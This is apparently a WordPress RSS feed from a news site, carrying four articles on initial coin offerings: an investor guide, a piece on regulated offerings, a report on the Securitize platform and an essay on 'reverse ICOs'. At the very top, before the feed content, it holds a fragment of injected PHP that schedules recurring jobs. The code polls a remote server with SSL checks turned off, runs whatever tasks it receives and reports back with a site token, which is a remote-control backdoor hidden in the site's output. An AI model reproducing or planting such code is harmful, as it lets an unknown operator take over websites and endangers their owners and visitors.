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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ICO’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 03 Jul 2019 11:43:01 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ICO’ – Brief News https://briefnews.eu 32 32 Want To Join An ICO? Here’s What You Need To Know https://briefnews.eu/want-to-join-an-ico-heres-what-you-need-to-know/ https://briefnews.eu/want-to-join-an-ico-heres-what-you-need-to-know/#respond Wed, 03 Jul 2019 11:43:01 +0000 http://briefnews.eu/?p=253804 Article was originally published on MintDice.

Abstract glowing digital currency button ICO initial coin offering on virtual digital electronic user interface. Commerce concept. 3D Rendering

Many cryptocurrency investors are getting their feet wet by opening an account on a cryptocurrency exchange, funding their account, and buying some Bitcoin. Others are branching out and buying other coins to hold alongside Bitcoin. Then you have investors looking for ICOs to purchase coins before they hit the publicly traded markets.

If you’ve been hearing the ICO buzzword around blockchain and cryptocurrency communities, and you’re keen to learn more, you’ve come to the right place. Anyone interested in joining an ICO should read our guide to understand the landscape around these investment opportunities.

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WHAT IS AN ICO?

To start, ICO stands for Initial Coin Offering. Many investors make the common comparison to an Initial Public Offering, or IPO, with a company’s stock. This is when investors can first publicly purchase shares of stock. An ICO is similar where it’s the first public offering to purchase coins for their blockchain project.

Blockchain projects typically use an ICO as a fund-raising technique, selling coins or tokens for funds to devote towards furthering the company or project. There are often private sales that precede a public ICO, but the initial coin offering represents the general public’s first opportunity to purchase the coin or token from the blockchain company.

WHAT ARE THE POTENTIAL ADVANTAGES TO AN ICO?

So why would an investor be drawn to investing in a blockchain project’s ICO? The chief advantage is the same as being an early investor in any company or business project. The objective is that the company or blockchain project is going to use those funds to grow and make the company and/or coin more valuable in the future.

Investors participating in an ICO are purchasing coins before they hit the public exchanges. Once a coin reaches an exchange, the trading volume rises. If the coin makes its way onto a large exchange with large amounts of investors, traders and volume, new investor funds can easily move into the coin and push the price up. The advantage for ICO investors is the potential upside of the coin once it hits a bigger exchange and attracts tons of other investors.  

WHAT’S THE PROCESS FOR INVESTING IN AN ICO?

The specific process for investing in an ICO depends on the particular ICO. Each handles the process slightly differently.

But let’s take a look at a common example of an ICO for an ERC20 token, which is a blockchain and token built on the Ethereum network. These ICOs accept Ethereum coins (ETH) as payment for their native, ICO coins, and they typically accept payment to a publicly available Ethereum wallet address.

Investors send their ETH tokens they wish to invest to the ICO’s wallet address. Each ICO has their specific way of confirming payment receipt, but you can expect to provide your email and receive an email confirmation acknowledging receipt of your contribution. When sending your ETH investment, you also specify the destination address for them to send the ICO tokens. Once they release the tokens to ICO investors, they will send them to the address that you provided.

It’s important to note that chances are you won’t be receiving your tokens immediately after your ETH payment. Often times, ICOs run for several weeks or a month, and they will distribute tokens once the ICO public sale is closed. They will also usually disclaim that you might not receive tokens for up to 30 days or a specific date.

Investors participating in ERC20 token ICOs often use an online wallet like MyEtherWallet to send ETH and receive ICO tokens. MyEtherWallet supports all ERC20 tokens, so you will be able to accept tokens from an ICO built on the Ethereum network easily through your MyEtherWallet.

WHAT SHOULD YOU DO BEFORE JOINING AN ICO?

Before joining an ICO, you need to do your due diligence and research on the blockchain project you are investing in. Because purchasing ICO coins is similar to buying stocks of a company, you want to perform the same standard of research (and probably more given the risky nature of ICOs). You want to make sure the ICO you’re investing in has a viable project, experienced development team, good reputation, understandable business model, and of course, growth potential.

There are various ways to do research online by finding the ICO’s website and searching for information through search engines and forums. But starting with the ICO’s website, a legitimate project is probably going to have a well laid out website. There you will want to find the team behind the ICO, especially the development team. The vast majority of real investable projects will be transparent around their internal and development team, commonly having them displayed on the website along with bios, credentials and social media profile links. If the ICO team is anonymous, this is a major red flag.

Searching through forums and cryptocurrency communities (like BitcoinTalk) is another great way to find other sources of information about an ICO. There are plenty of other potential investors that have done their research on the project and are open to sharing their thoughts, ideas, and concerns. For some ICOs, you might find members of the team active and sharing up-to-date information about the project and its development. Plenty of community members also play devil’s advocate in popular forums and raise pressing questions regarding ICOs. With all the skepticism surrounding ICOs, it’s important to have solid answers about how the blockchain project and token are going to succeed.

WHAT MAKES AN ICO A GOOD INVESTMENT?

So what factors make an ICO perfect for investment? Well, that’s a good question. It relates back to what makes anything a good investment opportunity: risk vs. reward.

When investing in cryptocurrencies, you’re definitely anticipating a larger potential return than other traditional investments like stocks or bonds. But at the same time, you know the risk level and volatility of investments are much much higher. So you need to identify ICOs with a solid risk to return ratio after you do your research and analysis.

Here are some factors to consider when debating whether the ICO is a good investment for you:

  • What are the potential risks?
  • Is the project a scam?
  • Does the team have the experience and skills to develop the product?
  • Does the team have the marketing abilities to promote the product?
  • Who does the product serve?
  • What are the odds of widespread adoption of the product?
  • What is the team planning to do with the ICO funds?

You should be able to understand what the blockchain project or business is proposing and planning to do and what customers they are targeting in order to be an educated and informed investor in any ICO. (If you are brand new to blockchain technology and cryptocurrencies, you can review our Bitcoin 101 article here) [link to Bitcoin 101 article]

HOW DO YOU FIND OUT ABOUT AN UPCOMING ICO?

There are various ways to stay current on upcoming ICOs. Several websites host a list of upcoming and open ICOs, including information for potential investors. Check this list of ICO-listing sites.

WHAT ARE THE RISKS OF JOINING AN ICO?

Now, this might be the most important section of the guide here. There are tremendous risks to consider when investing in an ICO.

ICOs are seen as very, very speculative investments in digital currency. Again, it’s similar to startups seeking venture capital in fiat currency to fund the development of their project. Often times there is no product yet, just speculative virtual currency in the case of crypto projects, and the funding is needed for project development. So you have major risks related to the development team’s ability to develop products in a timely manner, or at all. This is why it’s so crucial to have the development team and white papers public and to know who is behind the project and platform, which adds a bit of trust for investors. Occasionally these are open-source projects, in which case it is imperative to do research on who is involved.

Of course, there’s the risk of the project being an outright scam. With so much interest, securities, and money being raised into the ICO and cryptocurrency space, many bad actors are taking advantage of the trend to create fake blockchain projects and ICOs in order to steal funds from desperate investors. Because cryptocurrency payments allow for a certain amount of anonymity, these bad actors can create scam ICOs and disappear with lots of funds without getting caught. So again, anonymous teams are a typical calling card for scam ICOs.

Then you also have the risk of most transactions, and that’s sending funds to the wrong wallet address. If you don’t send your coins to the ICO address, they won’t get the funds and you won’t get any ICO tokens. You also need to ensure you give the correct receipt address so they send the funds to you, and not someone else’s wallet.

FINAL THOUGHTS

Investing in ICOs is risky business, but could lead to huge returns. It takes a lot of research and work to identify the best blockchain projects and ICOs. But if you’re up for the task, you now have the basics to get started.

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ICO. Three little letters. A lot of implications (and not all good ones). In fact, a lot of our associations with ICOs these days are negative. Scams, hacks, interesting ideas that don’t make it to the first line of code. The blockchain is responsible for some incredible discoveries, but it’s tainted by the actions of an unscrupulous few (the kind you wouldn’t take home to Mom).

It’s time for insincere promises, downright lies, and bad actors to stop muddying the waters. In fact, it’s time for ICOs to start growing up.

It’s Not About the Failures

It’s not the possibility of failure that makes investing in ICOs so risky. Investing in any new venture is risky. While Vitalik’s statement that 90 percent of ICOs will fail shocked the cryptocurrency community, he’s actually not saying anything new.

90 percent of all startups fail, ICO funded or otherwise. That’s just a fact of the cutthroat world of business. Blockchain startups haven’t been around long enough to say whether their failures happen faster or not than financing through conventional means. Whether they bounce back from their failures and pivot their ideas also remains to be seen.

Yet the fact that ICOs are open to all subjects them to intense scrutiny, and a new type of investor expecting overnight successes. The teams are often inexperienced and simply not good at making accurate forecasts.

The Bad Actors Have to Go

All that said, it’s true that ICO scams cannot be taken lightly, nor high profile hackings minimized. At least 10 percent of all ICO funds from 2017 were lost or stolen, and even the SEC has launched their own scam to educate and warn investors.

US-based companies that held ICOs are starting to receive subpoenas. Questions are being raised, and stakeholders everywhere are getting nervous.

After all, it’s a small minority who actually plan to scam investors out of their money from the start. Far greater is the number of bonafide blockchain companies using this vehicle to raise genuine funds. They’re certainly not looking for a prison sentence for non-compliance.

Suleyman Duyar Founder & Chief Strategist at RenGen Labs says, “In the US, I think it’s pretty clear that the statements of the regulators have been cautionary enough. For me, if I were a startup, I would not do a traditional ICO in the US. I would certainly make use of Reg D or Reg CF.”

If 2017 was a year-long party. 2018 is the year of regulation. And like it or not, here’s how ICOs are growing up.

Compliant ICOs (Also Known as Regulated ICOs or STOs)

KodakCoin is one of the first companies in the US to hold a “compliant ICO.” And considering the longevity and reputation of the brand, it’s not surprising they would want to do things by the book.

But there are a few ups and downs with holding a regulated ICO, including red tape, limitations, cost, and delays. In fact, after KodakCoin announced that their ICO would be in January and then had to delay it until May 21, the rumors of a scam started to spread. What was KodakCoin trying to do anyway? Was it just one last ditch attempt from an aging camera company scrambling to stay relevant?

“The bleeding-edge pioneers (in regulation) are paying the price,” says Darren Marble CEO of CrowdfundX, the marketing firm representing KodakCoin. Doing things by the book takes time. It involves registering with the SEC and preparing for some significant back and forth–it’s a lot more complicated than a website and an ether wallet.

“Since the SEC issued its June 2017 Rule 21 report regarding TheDao that clearly established that most token sales in the United States would be regulated by existing securities laws, offering tokens in the US has become significantly more complex. Even if issuers try to comply with securities laws, a number of unresolved issues complicate issuances,” says Andrew Hinkes, Esq., General Counsel of Athena Blockchain.

Compliant ICOs are likely to be the new model blockchain companies will follow, especially with the likes of Kodak picking up the reins.

Doing Things the Right Way

There are a few options for ICO teams wanting to stay on the right side of the law.

While regulation has been up for debate especially over recent months, it’s certainly possible to be pragmatic.

At RenGen Labs, they took a proactive approach, Duyar points out, “Why fantasize about future regulation when current regulation exists now and it’s not really that different from a lot of ICOs? We just used the existing legal framework to build a platform for people to do more complaint offerings.”

Without delving too deeply into the legal framework behind, there are existing securities exemptions that an ICO team can use to kickstart their projects, and four possible paths they can take if they want to comply with the SEC.

  1. Register and hold an IPO. Not an option available to most startups, since holding an IPO requires disclosure of financial, accounting, tax, other business information, and significant cost and time. Startups may lack the track record to qualify, and a full IPO is likely to be cost-prohibitive for a startup.
  1. Reg D 506(c). This is a fast and relatively easy way of raising money, and you are not limited in the amount of the raise or the breadth of solicitation. However, this exemption allows funds to be raised from verified accredited investors only. That rather flies in the face of democratized investing and may not be attractive for many companies.
  1. Reg A+. With a Reg A+, you can raise as much as $50 million per 18 months, and anyone over the age of 18 globally can invest. Since it’s regulated, you can legally advertise and market your offering anywhere (including Twitter and Google). But, it’s time-consuming since you have to have your offering documents vetted and approved by the SEC. It’s also not an option for a startup team as you need at least two years of audited financials.
  1. Reg CF. Regulation Crowdfunding. This is the cheapest and easiest way of getting your company up and running. Anyone over 18 can invest and you can market and solicit the deal. However, you are limited to how much you raise–significantly, in fact. The cap is at $1.07 million over a 12 month period.

“Although exemptions are available,” Hinkes explains, “offerors still have the “Goldilocks Problem,” in that there’s no perfect fit. Each exemption includes significant tradeoffs as far as the amount to be raised, from whom funds can be raised, and other limitations. Issuers should seek out counsel to identify the correct offering strategy that matches their project’s needs.”

Final Thoughts

Doing the right thing isn’t always the easiest thing. There’s no doubt that issuing an ICO and receiving Ether in your public wallet is a lot less hassle than registering with the SEC. It’s also inconvenient to investors who have to go through KYC and AML when they invest.

However, regulation is not meant to stifle innovation, or complicate things for blockchain companies. It’s there to protect investors, and bonafide blockchain teams as well.

Or in the words of Hinkes, “The SEC’s policy seeks to protect investors and facilitate capital formation. Unquestionably, the SEC has already expressed its desire to allow token offerings to continue and not to use regulation to pick winners and losers among token issuers. The big questions to be resolved will include how properly issued tokens are handled in secondary trading, and the ongoing obligations of issuers after their fundraising.”

]]> https://briefnews.eu/heres-how-icos-are-growing-up/feed/ 0 Securitize launches ‘ICO in a box’ platform https://briefnews.eu/securitize-launches-ico-in-a-box-platform/ https://briefnews.eu/securitize-launches-ico-in-a-box-platform/#respond Thu, 18 Jan 2018 06:06:14 +0000 http://briefnews.eu/securitize-launches-ico-in-a-box-platform/

EXCLUSIVE:

Companies looking to raise funding through an ICO without having to juggle regulations from the SEC and numerous other regulatory bodies around the world can now conduct simple plug-and-play ICOs.

Securitize, a new company spun out of tokenized VC fund Spice VC, is launching a platform Thursday that has a host of know-your-customer (KYC), anti-money-laundering (AML), and international ICO rules built right in. The platform has two key selling points: It promises fundraising companies, and their investors, peace of mind that they’re in full conformity with domestic and international laws. And it enables a new era of venture funding, where investors can buy-in knowing the assets are completely liquid from day one.

ICOs targeting a combined $ 500 million are commited to launching on Securitize, including offerings from CryptoOracle, Kairos.com, Lottery.com, and 22X Fund (whose link won’t be live until Thursday).

22xFund, whose ICO begins Thursday, is a collective of 30 startups from the summer 2017 cohort of 500 Startups. While they each raised seed funding from 500 Startups and individually raised another $ 23 million combined from traditional VCs and angels, they were finalizing their Demo Day presentations just as Tezos, FileCoin, and a number of other high profile ICOs were happening.

“We thought, we’re supposed to be innovators. Are we going to be in San Francisco and follow the same [traditional VC] path as everyone else here? And why should we compete with each other?” 22xFund’s Ashwini Anburajan explained by phone to VentureBeat. The group came up with the idea to issue a tokenized security asset that would give investors equity in all 30 companies at once. “This hasn’t happened before — a security in 30 different companies,” she said.

Most of 22xFund’s 30 startups have no blockchain tie-in. Their goal is to use tokens purely as securities. The allure is that ICOs enable a more “democratic” fundraising process, Anburajan explained. Traditional VC is “a very elite investing game,” she said. “We’re trying to get people not just in Silicon Valley but from all over the world.”

For investors, meanwhile, it’s the liquidity of the assets that is a major draw. “In a VC fund, your money is frozen for 10-15 years sometimes,” Anburajan said, whereas tokens can be sold or traded at any time.

Lottery.com is another company planning to ICO on Securitize, although it hasn’t yet set a date. Like the 22xFund collective, the company has pulled in $ 23 million to date from traditional funding sources.

Lottery.com wants to launch a global raffle game, which means it will need more funding and will need to guarantee the raffle is “provably fair.” The company decided the best way to deliver that guarantee was to run the raffle on a blockchain, so an ICO made sense for the fundraise, CEO Tony DiMatteo told VentureBeat. The team talked to a number of people who were planning platforms with built-in rules for international ICOs, “but nobody was ready,” he said, except Securitize.

For DiMatteo, making sure Lottery.com’s token is a security that is traded under all of the appropriate regulations is key. VCs and family offices have been watching the ICO market, he said, and they’re eager to enter it.

“But there’s uncertainty from institutional investors about which ICOs involve securities and which are legitimate.” By ICOing very clearly as a security, “we’re giving investors that same level of confidence as if they were doing a traditional investment,” he said. “This is the future of all ICOs.”

And it sounds like he could well be right. Securitize Chairman Carlos Domingo confirmed to VentureBeat that a number of other players are moving quickly to offer similar platforms. “In 2018 we think you’ll see a massive explosion in this kind of platform. We are ahead of everyone else, so we have an edge, but we are definitely not going to be the only one in this market,” he said.

Securitize uses a prospective investor’s passport or other ID to fulfill KYC requirements. Based on that user’s disclosures, the platform will inform them how much they are legally allowed to invest and in which companies. Some countries, for example, require that investors be accredited. And in the U.S., a company may only take up to 99 investors.

The Securitize team built the platform in about six months. It depended heavily on its lawyers to analyze ICO rules country by country, and then its technical team had to implement those rules into the platform. It covers “all major jurisdications,” Domingo said, noting that investors from countries where ICO investing isn’t legal — such as China and Korea — would automatically be blocked.

Securitize will charge ICO issuers a one-time fee as well as an ongoing monthly fee for use of the platform. Exact pricing will depend on the projected size of the ICO as well as other factors.

The company is currently a 10-person team based in Palo Alto, California. It is a spin-off of Spice VC, an FCA fund registered in the U.K. The Spice VC team — a group of three general partners with experience in traditional VC — struck out in May 2017 to form a fund to invest in security tokens. After they had gone through the process to make sure they were globally compliant, “a lot of people started contacting us, interested in replicating our model,” Domingo said. And that’s where the idea for Securitize was born. The off-shoot business seems to have outpaced Spice VC itself, since Spice’s own fund doesn’t plan to launch its ICO until February.

]]> https://briefnews.eu/securitize-launches-ico-in-a-box-platform/feed/ 0 The ‘reverse ICO’: How existing businesses will start tokenizing https://briefnews.eu/the-reverse-ico-how-existing-businesses-will-start-tokenizing/ https://briefnews.eu/the-reverse-ico-how-existing-businesses-will-start-tokenizing/#respond Wed, 16 Aug 2017 23:44:21 +0000 http://briefnews.eu/the-reverse-ico-how-existing-businesses-will-start-tokenizing/

GUEST:

The amount of money generated by the Initial Coin Offerings (ICOs) of blockchain-based companies is astounding. In July alone, ICOs generated $ 500 million of funding, bringing the all-time total to over $ 1.6 billion. That doesn’t even include August, where FileCoin is closing in on $ 200 million by itself.

It’s impressive.

Yet, on the horizon is a potentially even greater wave of ICOs. Call them “reverse ICOs,” where existing businesses realize the best way for them to compete is by decentralizing themselves.

The poster child for this move is messenger service Kik, which will introduce its Kin token in the next few quarters. Depending on the research, Kik is somewhere between #5 and #15 among messaging apps in terms of worldwide popularity and usage, but there was speculation as far back as a year ago that its growth has stalled.

Most likely, Kik realized Facebook was going to own the traditional messaging market due to the dominance of Messenger and WhatsApp. Kik needed a new, more compelling strategy.

That is EXACTLY what it has found by reverse ICOing itself. In so doing, it is giving users who generate value on its platform the opportunity get compensated for it, in the form of tokens.

It is as good an example of the future world as we will get.

In the first iteration of software, you paid for using an app. Today, you use an app “for free” (even though you pay for it with your personal data).

In the blockchain-based world of decentralized tokens, you get paid for the value you create.

Given that Kik has 300 million users (give or take), I would not be surprised if its ICO generated $ 750 million to north of $ 1 billion. (Not that I am expert, but I did predict Tezos would raise $ 250 million. I was off by only $ 18 million.)

Kik will kickstart a new industry — the reverse ICO

After Kik’s successful ICO, we will see a wave of existing companies follow suit.

The most likely scenario involves the tokenization of “sharing economy” companies that are either not profitable or sitting in positions #3-#7 in their industry (most likely both).

The web is already full of proposals for how SoundCloud, Twitter, Visa, Uber, Medium, Spotify, and more could pull this off. Trent McConaghy has done a stellar job of showing how this might look, including how industry leaders like Amazon and Facebook might decentralize.

I think reverse ICOs from Amazon and Facebook are a bit further afield, as insanely profitable companies or those with total market domination have more to risk by changing everything. The secondary and tertiary players don’t. That’s where Kik, SoundCloud, Twitter, and many others find themselves.

The tokenized future

In the years to come, as the trend toward reverse ICOs increases, we will see new jobs emerge, such as “Tokenization Consultant,” as well as new industry practices, such as reverse ICO departments at law firms and management consulting firms.

In the ongoing march of blockchain towards mainstream adoption, the trend that Kik begins is one to watch. It will have profound implications for the stock market, IPOs, regulation, and community ownership. And a lot of new jobs will come from transitioning existing companies from the centralized paradigm to the decentralized paradigm.

Jeremy Epstein is CEO of Never Stop Marketing and author of The CMO Primer for the Blockchain World. He currently works with startups in the blockchain and decentralization space. He advises F2000 organizations on the implications of blockchain technology. Previously, he was VP of marketing at Sprinklr from Series A to “unicorn” status.

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